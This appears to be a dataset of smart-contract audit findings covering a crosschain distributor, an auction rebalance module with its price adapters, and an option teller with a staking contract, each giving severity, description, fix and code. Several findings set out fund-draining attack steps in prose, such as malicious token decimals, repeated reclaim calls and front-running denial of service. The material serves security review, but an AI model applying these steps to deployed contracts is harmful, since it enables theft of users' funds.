CrosschainDistributor is not paying relayer fee when calling xcall to claim tokens to other domains. The transaction will not be relayed on target chain to finnalize the claim. User will not receive the claimed tokens unless they bump the transaction fee themself.\\nIn `_settleClaim`, the CrosschainDistributor is using xcall to claim tokens to another domain. But relayer fee is not payed.\\n```\\n id = connext.xcall( // <------ relayer fee should be payed here\\n _recipientDomain, // destination domain\\n _recipient, // to\\n address(token), // asset\\n _recipient, // delegate, only required for self-execution + slippage\\n _amount, // amount\\n 0, // slippage -- assumes no pools on connext\\n bytes('') // calldata\\n );\\n```\\n\\nWithout the relayer fee, the transaction will not be relayed. The user will need to bump the relayer fee to finnally settle the claim by following the instructions here in the connext doc.
Help user bump the transaction fee in Satellite.
User will not receive their claimed tokens on target chain.
```\\n id = connext.xcall( // <------ relayer fee should be payed here\\n _recipientDomain, // destination domain\\n _recipient, // to\\n address(token), // asset\\n _recipient, // delegate, only required for self-execution + slippage\\n _amount, // amount\\n 0, // slippage -- assumes no pools on connext\\n bytes('') // calldata\\n );\\n```\\n
Loss of funds during user adjusting
medium
Adjusting a user's total claimable value not working correctly\\nWhenever the owner is adjusting user's total claimable value, the `records[beneficiary].total` is decreased or increased by `uint256 diff = uint256(amount > 0 ? amount : -amount);`.\\nHowever some assumptions made are not correct. Scenario:\\nUser has bought 200 FOO tokens for example.\\nIn `PriceTierVestingSale_2_0.sol` he calls the `initializeDistributionRecord` which sets his `records[beneficiary].total` to the purchased amount || 200. So `records[beneficiary].total` = 200\\nAfter that the owner decides to adjust his `records[beneficiary].total` to 300. So `records[beneficiary].total` = 300\\nUser decides to `claim` his claimable amount which should be equal to 300. He calls the `claim` function in `PriceTierVestingSale_2_0.sol`.\\n```\\nfunction claim(\\n address beneficiary // the address that will receive tokens\\n ) external validSaleParticipant(beneficiary) nonReentrant {\\n uint256 claimableAmount = getClaimableAmount(beneficiary);\\n uint256 purchasedAmount = getPurchasedAmount(beneficiary);\\n\\n // effects\\n uint256 claimedAmount = super._executeClaim(beneficiary, purchasedAmount);\\n\\n // interactions\\n super._settleClaim(beneficiary, claimedAmount);\\n }\\n```\\n\\nAs we can see here the `_executeClaim` is called with the `purchasedAmount` of the user which is still 200.\\n```\\nfunction _executeClaim(\\n address beneficiary,\\n uint256 _totalAmount\\n ) internal virtual returns (uint256) {\\n uint120 totalAmount = uint120(_totalAmount);\\n\\n // effects\\n if (records[beneficiary].total != totalAmount) {\\n // re-initialize if the total has been updated\\n _initializeDistributionRecord(beneficiary, totalAmount);\\n }\\n \\n uint120 claimableAmount = uint120(getClaimableAmount(beneficiary));\\n require(claimableAmount > 0, 'Distributor: no more tokens claimable right now');\\n\\n records[beneficiary].claimed += claimableAmount;\\n claimed += claimableAmount;\\n\\n return claimableAmount;\\n }\\n```\\n\\nNow check the `if` statement:\\n```\\n if (records[beneficiary].total != totalAmount) {\\n // re-initialize if the total has been updated\\n _initializeDistributionRecord(beneficiary, totalAmount);\\n }\\n```\\n\\nThe point of this is if the `total` of the user has been adjusted, to re-initialize to the corresponding amount, but since it's updated by the input value which is 200, records[beneficiary].total = 200 , the user will lose the 100 added from the owner during the `adjust`
I am not sure if it is enough to just set it the following way:\\n```\\n if (records[beneficiary].total != totalAmount) {\\n // re-initialize if the total has been updated\\n `--` _initializeDistributionRecord(beneficiary, totalAmount);\\n `++` _initializeDistributionRecord(beneficiary, records[beneficiary].total);\\n }\\n```\\n\\nThink of different scenarios if it is done that way and also keep in mind that the same holds for the decrease of `records[beneficiary].total` by `adjust`
Loss of funds for the user and the protocol
```\\nfunction claim(\\n address beneficiary // the address that will receive tokens\\n ) external validSaleParticipant(beneficiary) nonReentrant {\\n uint256 claimableAmount = getClaimableAmount(beneficiary);\\n uint256 purchasedAmount = getPurchasedAmount(beneficiary);\\n\\n // effects\\n uint256 claimedAmount = super._executeClaim(beneficiary, purchasedAmount);\\n\\n // interactions\\n super._settleClaim(beneficiary, claimedAmount);\\n }\\n```\\n
Exponential and logarithmic price adapters will return incorrect pricing when moving from higher dp token to lower dp token
medium
The exponential and logarithmic price adapters do not work correctly when used with token pricing of different decimal places. This is because the resolution of the underlying expWad and lnWad functions is not fit for tokens that aren't 18 dp.\\nAuctionRebalanceModuleV1.sol#L856-L858\\n```\\nfunction _calculateQuoteAssetQuantity(bool isSellAuction, uint256 _componentQuantity, uint256 _componentPrice) private pure returns (uint256) {\\n return isSellAuction ? _componentQuantity.preciseMulCeil(_componentPrice) : _componentQuantity.preciseMul(_componentPrice);\\n}\\n```\\n\\nThe price returned by the adapter is used directly to call _calculateQuoteAssetQuantity which uses preciseMul/preciseMulCeil to convert from component amount to quote amount. Assume we wish to sell 1 WETH for 2,000 USDT. WETH is 18dp while USDT is 6dp giving us the following price:\\n```\\n1e18 * price / 1e18 = 2000e6\\n```\\n\\nSolving for price gives:\\n```\\nprice = 2000e6\\n```\\n\\nThis establishes that the price must be scaled to:\\n```\\nprice dp = 18 - component dp + quote dp\\n```\\n\\nPlugging in our values we see that our scaling of 6 dp makes sense.\\nBoundedStepwiseExponentialPriceAdapter.sol#L67-L80\\n```\\n uint256 expExpression = uint256(FixedPointMathLib.expWad(expArgument));\\n\\n // Protect against priceChange overflow\\n if (scalingFactor > type(uint256).max / expExpression) {\\n return _getBoundaryPrice(isDecreasing, maxPrice, minPrice);\\n }\\n uint256 priceChange = scalingFactor * expExpression - WAD;\\n\\n if (isDecreasing) {\\n // Protect against price underflow\\n if (priceChange > initialPrice) {\\n return minPrice;\\n }\\n return FixedPointMathLib.max(initialPrice - priceChange , minPrice);\\n```\\n\\nGiven the pricing code and notably the simple scalingFactor it also means that priceChange must be in the same order of magnitude as the price which in this case is 6 dp. The issue is that on such small scales, both lnWad and expWad do not behave as expected and instead yield a linear behavior. This is problematic as the curve will produce unexpected behaviors under these circumstances selling the tokens at the wrong price. Since both functions are written in assembly it is very difficult to determine exactly what is going on or why this occurs but testing in remix gives the following values:\\n```\\nexpWad(1e6) - WAD = 1e6\\nexpWad(5e6) - WAD = 5e6\\nexpWad(10e6) - WAD = 10e6\\nexpWad(1000e6) - WAD = 1000e6\\n```\\n\\nAs seen above these value create a perfect linear scaling and don't exhibit any exponential qualities. Given the range of this linearity it means that these adapters can never work when selling from higher to lower dp tokens.
scalingFactor should be scaled to 18 dp then applied via preciseMul instead of simple multiplication. This allows lnWad and expWad to execute in 18 dp then be scaled down to the correct dp.
Exponential and logarithmic pricing is wrong when tokens have mismatched dp
```\\nfunction _calculateQuoteAssetQuantity(bool isSellAuction, uint256 _componentQuantity, uint256 _componentPrice) private pure returns (uint256) {\\n return isSellAuction ? _componentQuantity.preciseMulCeil(_componentPrice) : _componentQuantity.preciseMul(_componentPrice);\\n}\\n```\\n
SetToken can't be unlocked early.
medium
SetToken can't be unlocked early\\nThe function unlock() is used to unlock the setToken after rebalancing, as how it is right now there are two ways to unlock the setToken.\\ncan be unlocked once the rebalance duration has elapsed\\ncan be unlocked early if all targets are met, there is excess or at-target quote asset, and raiseTargetPercentage is zero\\n```\\n function unlock(ISetToken _setToken) external {\\n bool isRebalanceDurationElapsed = _isRebalanceDurationElapsed(_setToken);\\n bool canUnlockEarly = _canUnlockEarly(_setToken);\\n\\n // Ensure that either the rebalance duration has elapsed or the conditions for early unlock are met\\n require(isRebalanceDurationElapsed || canUnlockEarly, "Cannot unlock early unless all targets are met and raiseTargetPercentage is zero");\\n\\n // If unlocking early, update the state\\n if (canUnlockEarly) {\\n delete rebalanceInfo[_setToken].rebalanceDuration;\\n emit LockedRebalanceEndedEarly(_setToken);\\n }\\n\\n // Unlock the SetToken\\n _setToken.unlock();\\n }\\n```\\n\\n```\\n function _canUnlockEarly(ISetToken _setToken) internal view returns (bool) {\\n RebalanceInfo storage rebalance = rebalanceInfo[_setToken];\\n return _allTargetsMet(_setToken) && _isQuoteAssetExcessOrAtTarget(_setToken) && rebalance.raiseTargetPercentage == 0;\\n }\\n```\\n\\nThe main problem occurs as the value of raiseTargetPercentage isn't reset after rebalancing. The other thing is that the function setRaiseTargetPercentage can't be used to fix this issue as it doesn't allow giving raiseTargetPercentage a zero value.\\nA setToken can use the AuctionModule to rebalance multiple times, duo to the fact that raiseTargetPercentage value isn't reset after every rebalancing. Once changed with the help of the function setRaiseTargetPercentage this value will only be non zero for every next rebalancing. A setToken can be unlocked early only if all other requirements are met and the raiseTargetPercentage equals zero.\\nThis problem prevents for a setToken to be unlocked early on the next rebalances, once the value of the variable raiseTargetPercentage is set to non zero.\\nOn every rebalance a manager should be able to keep the value of raiseTargetPercentage to zero (so the setToken can be unlocked early), or increase it at any time with the function setRaiseTargetPercentage.\\n```\\n function setRaiseTargetPercentage(\\n ISetToken _setToken,\\n uint256 _raiseTargetPercentage\\n )\\n external\\n onlyManagerAndValidSet(_setToken)\\n {\\n // Ensure the raise target percentage is greater than 0\\n require(_raiseTargetPercentage > 0, "Target percentage must be greater than 0");\\n\\n // Update the raise target percentage in the RebalanceInfo struct\\n rebalanceInfo[_setToken].raiseTargetPercentage = _raiseTargetPercentage;\\n\\n // Emit an event to log the updated raise target percentage\\n emit RaiseTargetPercentageUpdated(_setToken, _raiseTargetPercentage);\\n }\\n```\\n
Recommend to reset the value raiseTargetPercentage after every rebalancing.\\n```\\n function unlock(ISetToken _setToken) external {\\n bool isRebalanceDurationElapsed = _isRebalanceDurationElapsed(_setToken);\\n bool canUnlockEarly = _canUnlockEarly(_setToken);\\n\\n // Ensure that either the rebalance duration has elapsed or the conditions for early unlock are met\\n require(isRebalanceDurationElapsed || canUnlockEarly, "Cannot unlock early unless all targets are met and raiseTargetPercentage is zero");\\n\\n // If unlocking early, update the state\\n if (canUnlockEarly) {\\n delete rebalanceInfo[_setToken].rebalanceDuration;\\n emit LockedRebalanceEndedEarly(_setToken);\\n }\\n\\n+ rebalanceInfo[_setToken].raiseTargetPercentage = 0;\\n\\n // Unlock the SetToken\\n _setToken.unlock();\\n }\\n```\\n
Once the value of raiseTargetPercentage is set to non zero, every next rebalancing of the setToken won't be eligible for unlocking early. As the value of raiseTargetPercentage isn't reset after every rebalance and neither the manager can set it back to zero with the function setRaiseTargetPercentage().
```\\n function unlock(ISetToken _setToken) external {\\n bool isRebalanceDurationElapsed = _isRebalanceDurationElapsed(_setToken);\\n bool canUnlockEarly = _canUnlockEarly(_setToken);\\n\\n // Ensure that either the rebalance duration has elapsed or the conditions for early unlock are met\\n require(isRebalanceDurationElapsed || canUnlockEarly, "Cannot unlock early unless all targets are met and raiseTargetPercentage is zero");\\n\\n // If unlocking early, update the state\\n if (canUnlockEarly) {\\n delete rebalanceInfo[_setToken].rebalanceDuration;\\n emit LockedRebalanceEndedEarly(_setToken);\\n }\\n\\n // Unlock the SetToken\\n _setToken.unlock();\\n }\\n```\\n
price is calculated wrongly in BoundedStepwiseExponentialPriceAdapter
medium
The BoundedStepwiseExponentialPriceAdapter contract is trying to implement price change as `scalingFactor * (e^x - 1)` but the code implements `scalingFactor * e^x - 1`. Since there are no brackets, multiplication would be executed before subtraction. And this has been confirmed with one of the team members.\\nThe getPrice code has been simplified as the following when boundary/edge cases are ignored\\n```\\n(\\n uint256 initialPrice,\\n uint256 scalingFactor,\\n uint256 timeCoefficient,\\n uint256 bucketSize,\\n bool isDecreasing,\\n uint256 maxPrice,\\n uint256 minPrice\\n) = getDecodedData(_priceAdapterConfigData);\\n\\nuint256 timeBucket = _timeElapsed / bucketSize;\\n\\nint256 expArgument = int256(timeCoefficient * timeBucket);\\n\\nuint256 expExpression = uint256(FixedPointMathLib.expWad(expArgument));\\n\\nuint256 priceChange = scalingFactor * expExpression - WAD;\\n```\\n\\nWhen timeBucket is 0, we want priceChange to be 0, so that the returned price would be the initial price. Since `e^0 = 1`, we need to subtract 1 (in WAD) from the `expExpression`.\\nHowever, with the incorrect implementation, the returned price would be different than real price by a value equal to `scalingFactor - 1`. The image below shows the difference between the right and wrong formula when initialPrice is 100 and scalingFactor is 11. The right formula starts at 100 while the wrong one starts at 110=100+11-1\\n
Change the following line\\n```\\n- uint256 priceChange = scalingFactor * expExpression - WAD;\\n+ uint256 priceChange = scalingFactor * (expExpression - WAD);\\n```\\n
Incorrect price is returned from BoundedStepwiseExponentialPriceAdapter and that will have devastating effects on rebalance.
```\\n(\\n uint256 initialPrice,\\n uint256 scalingFactor,\\n uint256 timeCoefficient,\\n uint256 bucketSize,\\n bool isDecreasing,\\n uint256 maxPrice,\\n uint256 minPrice\\n) = getDecodedData(_priceAdapterConfigData);\\n\\nuint256 timeBucket = _timeElapsed / bucketSize;\\n\\nint256 expArgument = int256(timeCoefficient * timeBucket);\\n\\nuint256 expExpression = uint256(FixedPointMathLib.expWad(expArgument));\\n\\nuint256 priceChange = scalingFactor * expExpression - WAD;\\n```\\n
Full inventory asset purchases can be DOS'd via frontrunning
medium
Users who attempt to swap the entire component value can be frontrun with a very small bid making their transaction revert\\nAuctionRebalanceModuleV1.sol#L795-L796\\n```\\n // Ensure that the component quantity in the bid does not exceed the available auction quantity.\\n require(_componentQuantity <= bidInfo.auctionQuantity, "Bid size exceeds auction quantity");\\n```\\n\\nWhen creating a bid, it enforces the above requirement. This prevents users from buying more than they should but it is also a source of an easy DOS attack. Assume a user is trying to buy the entire balance of a component, a malicious user can frontrun them buying only a tiny amount. Since they requested the entire balance, the call with fail. This is a useful technique if an attacker wants to DOS other buyers to pass the time and get a better price from the dutch auction.
Allow users to specify type(uint256.max) to swap the entire available balance
Malicious user can DOS legitimate users attempting to purchase the entire amount of component
```\\n // Ensure that the component quantity in the bid does not exceed the available auction quantity.\\n require(_componentQuantity <= bidInfo.auctionQuantity, "Bid size exceeds auction quantity");\\n```\\n
All fund from Teller contract can be drained because a malicious receiver can call reclaim repeatedly
high
All fund from Teller contract can be drained because a malicious receiver can call reclaim repeatedly\\nWhen mint an option token, the user is required to transfer the payout token for a call option or quote token for a put option\\nif after the expiration, the receiver can call reclaim to claim the payout token if the option type is call or claim the quote token if the option type is put\\nhowever, the root cause is when reclaim the token, the corresponding option is not burnt (code)\\n```\\n // Revert if caller is not receiver\\n if (msg.sender != receiver) revert Teller_NotAuthorized();\\n\\n // Transfer remaining collateral to receiver\\n uint256 amount = optionToken.totalSupply();\\n if (call) {\\n payoutToken.safeTransfer(receiver, amount);\\n } else {\\n // Calculate amount of quote tokens equivalent to amount at strike price\\n uint256 quoteAmount = amount.mulDiv(strikePrice, 10 ** payoutToken.decimals());\\n quoteToken.safeTransfer(receiver, quoteAmount);\\n }\\n```\\n\\nthe Teller contract is likely to hold fund from multiple option token\\na malicious actor can create call Teller#deploy and set a receiver address that can control by himself\\nand then wait for the option expiry and repeated call reclaim to steal the fund from the Teller contract
Burn the corresponding option burn when reclaim the fund
All fund from Teller contract can be drained because a malicious receiver can call reclaim repeatedly
```\\n // Revert if caller is not receiver\\n if (msg.sender != receiver) revert Teller_NotAuthorized();\\n\\n // Transfer remaining collateral to receiver\\n uint256 amount = optionToken.totalSupply();\\n if (call) {\\n payoutToken.safeTransfer(receiver, amount);\\n } else {\\n // Calculate amount of quote tokens equivalent to amount at strike price\\n uint256 quoteAmount = amount.mulDiv(strikePrice, 10 ** payoutToken.decimals());\\n quoteToken.safeTransfer(receiver, quoteAmount);\\n }\\n```\\n
All funds can be stolen from FixedStrikeOptionTeller using a token with malicious decimals
high
`FixedStrikeOptionTeller` is a single contract which deploys multiple option tokens. Hence this single contract holds significant payout/quote tokens as collateral. Also the `deploy`, `create` & `exercise` functions of this contract can be called by anyone.\\nThis mechanism can be exploited to drain `FixedStrikeOptionTeller` of all tokens.\\nThis is how the create functions looks like:\\n```\\n function create(\\n FixedStrikeOptionToken optionToken_,\\n uint256 amount_\\n ) external override nonReentrant {\\n // rest of code\\n if (call) {\\n // rest of code\\n } else {\\n uint256 quoteAmount = amount_.mulDiv(strikePrice, 10 ** payoutToken.decimals());\\n // rest of code\\n quoteToken.safeTransferFrom(msg.sender, address(this), quoteAmount);\\n // rest of code\\n }\\n\\n optionToken.mint(msg.sender, amount_);\\n }\\n```\\n\\nexercise function:\\n```\\n function exercise(\\n FixedStrikeOptionToken optionToken_,\\n uint256 amount_\\n ) external override nonReentrant {\\n // rest of code\\n uint256 quoteAmount = amount_.mulDiv(strikePrice, 10 ** payoutToken.decimals());\\n\\n if (msg.sender != receiver) {\\n // rest of code\\n }\\n\\n optionToken.burn(msg.sender, amount_);\\n\\n if (call) {\\n // rest of code\\n } else {\\n quoteToken.safeTransfer(msg.sender, quoteAmount);\\n }\\n }\\n```\\n\\nConsider this attack scenario:\\nLet's suppose the `FixedStrikeOptionTeller` holds some DAI tokens.\\nAn attacker can create a malicious payout token of which he can control the `decimals`.\\nThe attacker calls `deploy` to create an option token with malicious payout token and DAI as quote token and `put` option type\\nMake `payoutToken.decimals` return a large number and call `FixedStrikeOptionTeller.create` with input X. Here `quoteAmount` will be calculated as `0`.\\n```\\n// Calculate amount of quote tokens required to mint\\nuint256 quoteAmount = amount_.mulDiv(strikePrice, 10 ** payoutToken.decimals());\\n\\n// Transfer quote tokens from user\\n// Check that amount received is not less than amount expected\\n// Handles edge cases like fee-on-transfer tokens (which are not supported)\\nuint256 startBalance = quoteToken.balanceOf(address(this));\\nquoteToken.safeTransferFrom(msg.sender, address(this), quoteAmount);\\n```\\n\\nSo 0 DAI will be pulled from the attacker's account but he will receive X option token.\\nMake `payoutToken.decimals` return a small value and call `FixedStrikeOptionTeller.exercise` with X input. Here `quoteAmount` will be calculated as a very high number (which represents number of DAI tokens). So he will receive huge amount of DAI against his X option tokens when exercise the option or when reclaim the token\\n```\\n// Transfer remaining collateral to receiver\\nuint256 amount = optionToken.totalSupply();\\nif (call) {\\n payoutToken.safeTransfer(receiver, amount);\\n} else {\\n // Calculate amount of quote tokens equivalent to amount at strike price\\n uint256 quoteAmount = amount.mulDiv(strikePrice, 10 ** payoutToken.decimals());\\n quoteToken.safeTransfer(receiver, quoteAmount);\\n}\\n```\\n\\nHence, the attacker was able to drain all DAI tokens from the `FixedStrikeOptionTeller` contract. The same mechanism can be repeated to drain all other ERC20 tokens from the `FixedStrikeOptionTeller` contract by changing the return value of the decimal external call
Consider storing the `payoutToken.decimals` value locally instead of fetching it real-time on all `exercise` or `reclaim` calls.\\nor support payout token and quote token whitelist, if the payout token and quote token are permissionless created, there will always be high risk
Anyone can drain `FixedStrikeOptionTeller` contract of all ERC20 tokens. The cost of attack is negligible (only gas cost).\\nHigh impact, high likelyhood.
```\\n function create(\\n FixedStrikeOptionToken optionToken_,\\n uint256 amount_\\n ) external override nonReentrant {\\n // rest of code\\n if (call) {\\n // rest of code\\n } else {\\n uint256 quoteAmount = amount_.mulDiv(strikePrice, 10 ** payoutToken.decimals());\\n // rest of code\\n quoteToken.safeTransferFrom(msg.sender, address(this), quoteAmount);\\n // rest of code\\n }\\n\\n optionToken.mint(msg.sender, amount_);\\n }\\n```\\n
Blocklisted address can be used to lock the option token minter's fund
medium
Blocklisted address can be used to lock the option token minter's fund\\nWhen deploy a token via the teller contract, the contract validate that receiver address is not address(0)\\nHowever, a malicious option token creator can save a seemingly favorable strike price and pick a blocklisted address and set the blocklisted address as receiver\\nSome tokens (e.g. USDC, USDT) have a contract level admin controlled address blocklist. If an address is blocked, then transfers to and from that address are forbidden.\\nMalicious or compromised token owners can trap funds in a contract by adding the contract address to the blocklist. This could potentially be the result of regulatory action against the contract itself, against a single user of the contract (e.g. a Uniswap LP), or could also be a part of an extortion attempt against users of the blocked contract.\\nthen user would see the favorable strike price and mint the option token using payout token for call option or use quote token for put option\\nHowever, they can never exercise their option because the transaction would revert when transferring asset to the recevier for call option and transferring asset to the receiver for put option when exercise the option.\\n```\\n\\n```\\n\\nthe usre's fund that used to mint the option are locked
Valid that receiver is not blacklisted when create and deploy the option token or add an expiry check, if after the expiry the receiver does not reclaim the fund, allows the option minter to burn their token in exchange for their fund
Blocklisted receiver address can be used to lock the option token minter's fund
```\\n\\n```\\n
Loss of option token from Teller and reward from OTLM if L2 sequencer goes down
medium
Loss of option token from Teller and reward from OTLM if L2 sequencer goes down\\nIn the current implementation, if the option token expires, the user is not able to exerise the option at strike price\\n```\\n // Validate that option token is not expired\\n if (uint48(block.timestamp) >= expiry) revert Teller_OptionExpired(expiry);\\n```\\n\\nif the option token expires, the user lose rewards from OTLM as well when claim the reward\\n```\\n function _claimRewards() internal returns (uint256) {\\n // Claims all outstanding rewards for the user across epochs\\n // If there are unclaimed rewards from epochs where the option token has expired, the rewards are lost\\n\\n // Get the last epoch claimed by the user\\n uint48 userLastEpoch = lastEpochClaimed[msg.sender];\\n```\\n\\nand\\n```\\n // If the option token has expired, then the rewards are zero\\n if (uint256(optionToken.expiry()) < block.timestamp) return 0;\\n```\\n\\nAnd in the onchain context, the protocol intends to deploy the contract in arbitrum and optimsim\\n```\\nQ: On what chains are the smart contracts going to be deployed?\\nMainnet, Arbitrum, Optimism\\n```\\n\\nHowever, If Arbitrum and optimism layer 2 network, the sequencer is in charge of process the transaction\\nFor example, the recent optimism bedrock upgrade cause the sequencer not able to process transaction for a hew hours\\nBedrock Upgrade According to the official announcement, the upgrade will require 2-4 hours of downtime for OP Mainnet, during which there will be downtime at the chain and infrastructure level while the old sequencer is spun down and the Bedrock sequencer starts up.\\nTransactions, deposits, and withdrawals will also remain unavailable for the duration, and the chain will not be progressing. While the read access across most OP Mainnet nodes will stay online, users may encounter a slight decrease in performance during the migration process.\\nIn Arbitrum\\nArbitrum Goes Down Citing Sequencer Problems Layer 2 Arbitrum suffers 10 hour outage.\\nand\\nEthereum layer-2 (L2) scaling solution Arbitrum stopped processing transactions on June 7 because its sequencer faced a bug in the batch poster. The incident only lasted for an hour.\\nIf the option expires during the sequencer down time, the user basically have worthless option token because they cannot exercise the option at strike price\\nthe user would lose his reward as option token from OTLM.sol, which defeats the purpose of use OTLM to incentive user to provide liquidity
chainlink has a sequencer up feed\\nconsider integrate the up time feed and give user extra time to exercise token and claim option token reward if the sequencer goes down
Loss of option token from Teller and reward from OTLM if L2 sequencer goes down
```\\n // Validate that option token is not expired\\n if (uint48(block.timestamp) >= expiry) revert Teller_OptionExpired(expiry);\\n```\\n
Use A's staked token balance can be used to mint option token as reward for User B if the payout token equals to the stake token
medium
User's staked token balance can be used to mint option token as reward if the payout token equals to the stake token, can cause user to loss fund\\nIn OTLM, user can stake stakeToken in exchange for the option token minted from the payment token\\nwhen staking, we transfer the stakedToken in the OTLM token\\n```\\n// Increase the user's stake balance and the total balance\\nstakeBalance[msg.sender] = userBalance + amount_;\\ntotalBalance += amount_;\\n\\n// Transfer the staked tokens from the user to this contract\\nstakedToken.safeTransferFrom(msg.sender, address(this), amount_);\\n```\\n\\nbefore the stake or unstake or when we are calling claimReward\\nwe are calling _claimRewards -> _claimEpochRewards -> we use payout token to mint and create option token as reward\\n```\\n payoutToken.approve(address(optionTeller), rewards);\\n optionTeller.create(optionToken, rewards);\\n\\n // Transfer rewards to sender\\n ERC20(address(optionToken)).safeTransfer(msg.sender, rewards);\\n```\\n\\nthe problem is, if the stake token and the payout token are the same token, the protocol does not distingush the balance of the stake token and the balance of payout token\\nsuppose both stake token and payout token are USDC\\nsuppose user A stake 100 USDC\\nsuppose user B stake 100 USDC\\ntime passed, user B accure 10 token unit reward\\nnow user B can claimRewards,\\nthe protocol user 10 USDC to mint option token for B\\nthe OTLM has 190 USDC\\nif user A and user B both call emergencyUnstakeAll, whoeve call this function later will suffer a revert and he is not able to even give up the reward and claim their staked balance back\\nbecause a part of the his staked token balance is treated as the payout token to mint option token reward for other user
Seperate the accounting of the staked user and the payout token or check that staked token is not payout token when creating the OTLM.sol
If there are insufficient payout token in the OTLM, the expected behavior is that the transaction revert when claim the reward and when the code use payout token to mint option token\\nand in the worst case, user can call emergencyUnstakeAll to get their original staked balane back and give up their reward\\nhowever, if the staked token is the same as the payout token,\\na part of the user staked token can be mistakenly and constantly mint as option token reward for his own or for other user and eventually when user call emergencyUnstakeAll, there will be insufficient token balance and transaction revert\\nso user will not able to get their staked token back
```\\n// Increase the user's stake balance and the total balance\\nstakeBalance[msg.sender] = userBalance + amount_;\\ntotalBalance += amount_;\\n\\n// Transfer the staked tokens from the user to this contract\\nstakedToken.safeTransferFrom(msg.sender, address(this), amount_);\\n```\\n
IERC20(token).approve revert if the underlying ERC20 token approve does not return boolean
medium
IERC20(token).approve revert if the underlying ERC20 token approve does not return boolean\\nWhen transferring the token, the protocol use safeTransfer and safeTransferFrom\\nbut when approving the payout token, the safeApprove is not used\\nfor non-standard token such as USDT,\\ncalling approve will revert because the solmate ERC20 enforce the underlying token return a boolean\\n```\\n function approve(address spender, uint256 amount) public virtual returns (bool) {\\n allowance[msg.sender][spender] = amount;\\n\\n emit Approval(msg.sender, spender, amount);\\n\\n return true;\\n }\\n```\\n\\nwhile the token such as USDT does not return boolean
Use safeApprove instead of approve
USDT or other ERC20 token that does not return boolean for approve is not supported as the payout token
```\\n function approve(address spender, uint256 amount) public virtual returns (bool) {\\n allowance[msg.sender][spender] = amount;\\n\\n emit Approval(msg.sender, spender, amount);\\n\\n return true;\\n }\\n```\\n
Division before multiplication result in loss of token reward if the reward update time elapse is small
medium
Division before multiplication result in loss of token reward\\nWhen calcuting the reward, we are calling\\n```\\n function currentRewardsPerToken() public view returns (uint256) {\\n // Rewards do not accrue if the total balance is zero\\n if (totalBalance == 0) return rewardsPerTokenStored;\\n\\n // @audit\\n // loss of precision\\n // The number of rewards to apply is based on the reward rate and the amount of time that has passed since the last reward update\\n uint256 rewardsToApply = ((block.timestamp - lastRewardUpdate) * rewardRate) /\\n REWARD_PERIOD;\\n\\n // The rewards per token is the current rewards per token plus the rewards to apply divided by the total staked balance\\n return rewardsPerTokenStored + (rewardsToApply * 10 ** stakedTokenDecimals) / totalBalance;\\n }\\n```\\n\\nthe precision loss can be high because the accumulated reward depends on the time elapse:\\n(block.timestamp - lastRewardUpdate)\\nand the REWARD_PERIOD is hardcoded to one days:\\n```\\n /// @notice Amount of time (in seconds) that the reward rate is distributed over\\n uint48 public constant REWARD_PERIOD = uint48(1 days);\\n```\\n\\nif the time elapse is short and the currentRewardsPerToken is updated frequently, the precision loss can be heavy and even rounded to zero\\nthe lower the token precision, the heavier the precision loss\\nSome tokens have low decimals (e.g. USDC has 6). Even more extreme, some tokens like Gemini USD only have 2 decimals.\\nconsider as extreme case, if the reward token is Gemini USD, the reward rate is set to 1000 * 10 = 10 ** 4 = 10000\\nif the update reward keep getting called within 8 seconds\\n8 * 10000 / 86400 is already rounded down to zero and no reward is accuring for user
Avoid division before multiplcation and only perform division at last
Division before multiplication result in loss of token reward if the reward update time elapse is small
```\\n function currentRewardsPerToken() public view returns (uint256) {\\n // Rewards do not accrue if the total balance is zero\\n if (totalBalance == 0) return rewardsPerTokenStored;\\n\\n // @audit\\n // loss of precision\\n // The number of rewards to apply is based on the reward rate and the amount of time that has passed since the last reward update\\n uint256 rewardsToApply = ((block.timestamp - lastRewardUpdate) * rewardRate) /\\n REWARD_PERIOD;\\n\\n // The rewards per token is the current rewards per token plus the rewards to apply divided by the total staked balance\\n return rewardsPerTokenStored + (rewardsToApply * 10 ** stakedTokenDecimals) / totalBalance;\\n }\\n```\\n
FixedStrikeOptionTeller: create can be invoked when block.timestamp == expiry but exercise reverts
medium
In `FixedStrikeOptionTeller` contract, new option tokens can be minted when `block.timestamp == expiry` but these option tokens cannot be exercised even in the same transaction.\\nThe `create` function has this statement:\\n```\\n if (uint256(expiry) < block.timestamp) revert Teller_OptionExpired(expiry);\\n```\\n\\nThe `exercise` function has this statement:\\n```\\n if (uint48(block.timestamp) >= expiry) revert Teller_OptionExpired(expiry);\\n```\\n\\nNotice the `>=` operator which means when `block.timestamp == expiry` the `exercise` function reverts.\\nThe `FixedStrikeOptionTeller.create` function is invoked whenever a user claims his staking rewards using `OTLM.claimRewards` or `OTLM.claimNextEpochRewards`. (here)\\nSo if a user claims his rewards when `block.timestamp == expiry` he receives the freshly minted option tokens but he cannot exercise these option tokens even in the same transaction (or same block).\\nMoreover, since the receiver do not possess these freshly minted option tokens, he cannot `reclaim` them either (assuming `reclaim` function contains the currently missing `optionToken.burn` statement).
Consider maintaining a consistent timestamp behaviour. Either prevent creation of option tokens at expiry or allow them to be exercised at expiry.
Option token will be minted to user but he cannot exercise them. Receiver cannot reclaim them as he doesn't hold that token amount.\\nThis leads to loss of funds as the minted option tokens become useless. Also the scenario of users claiming at expiry is not rare.
```\\n if (uint256(expiry) < block.timestamp) revert Teller_OptionExpired(expiry);\\n```\\n
stake() missing set lastEpochClaimed when userBalance equal 0
medium
because `stake()` don't set `lastEpochClaimed[user] = last epoch` if `userBalance` equal 0 So all new stake user must loop from 0 to `last epoch` for `_claimRewards()` As the epoch gets bigger and bigger it will waste a lot of GAS, which may eventually lead to `GAS_OUT`\\nin `stake()`, when the first-time `stake()` only `rewardsPerTokenClaimed[msg.sender]` but don't set `lastEpochClaimed[msg.sender]`\\n```\\n function stake(\\n uint256 amount_,\\n bytes calldata proof_\\n ) external nonReentrant requireInitialized updateRewards tryNewEpoch {\\n// rest of code\\n uint256 userBalance = stakeBalance[msg.sender];\\n if (userBalance > 0) {\\n // Claim outstanding rewards, this will update the rewards per token claimed\\n _claimRewards();\\n } else {\\n // Initialize the rewards per token claimed for the user to the stored rewards per token\\n rewardsPerTokenClaimed[msg.sender] = rewardsPerTokenStored;\\n }\\n\\n // Increase the user's stake balance and the total balance\\n stakeBalance[msg.sender] = userBalance + amount_;\\n totalBalance += amount_;\\n\\n // Transfer the staked tokens from the user to this contract\\n stakedToken.safeTransferFrom(msg.sender, address(this), amount_);\\n }\\n```\\n\\nso every new staker , needs claims from 0\\n```\\n function _claimRewards() internal returns (uint256) {\\n // Claims all outstanding rewards for the user across epochs\\n // If there are unclaimed rewards 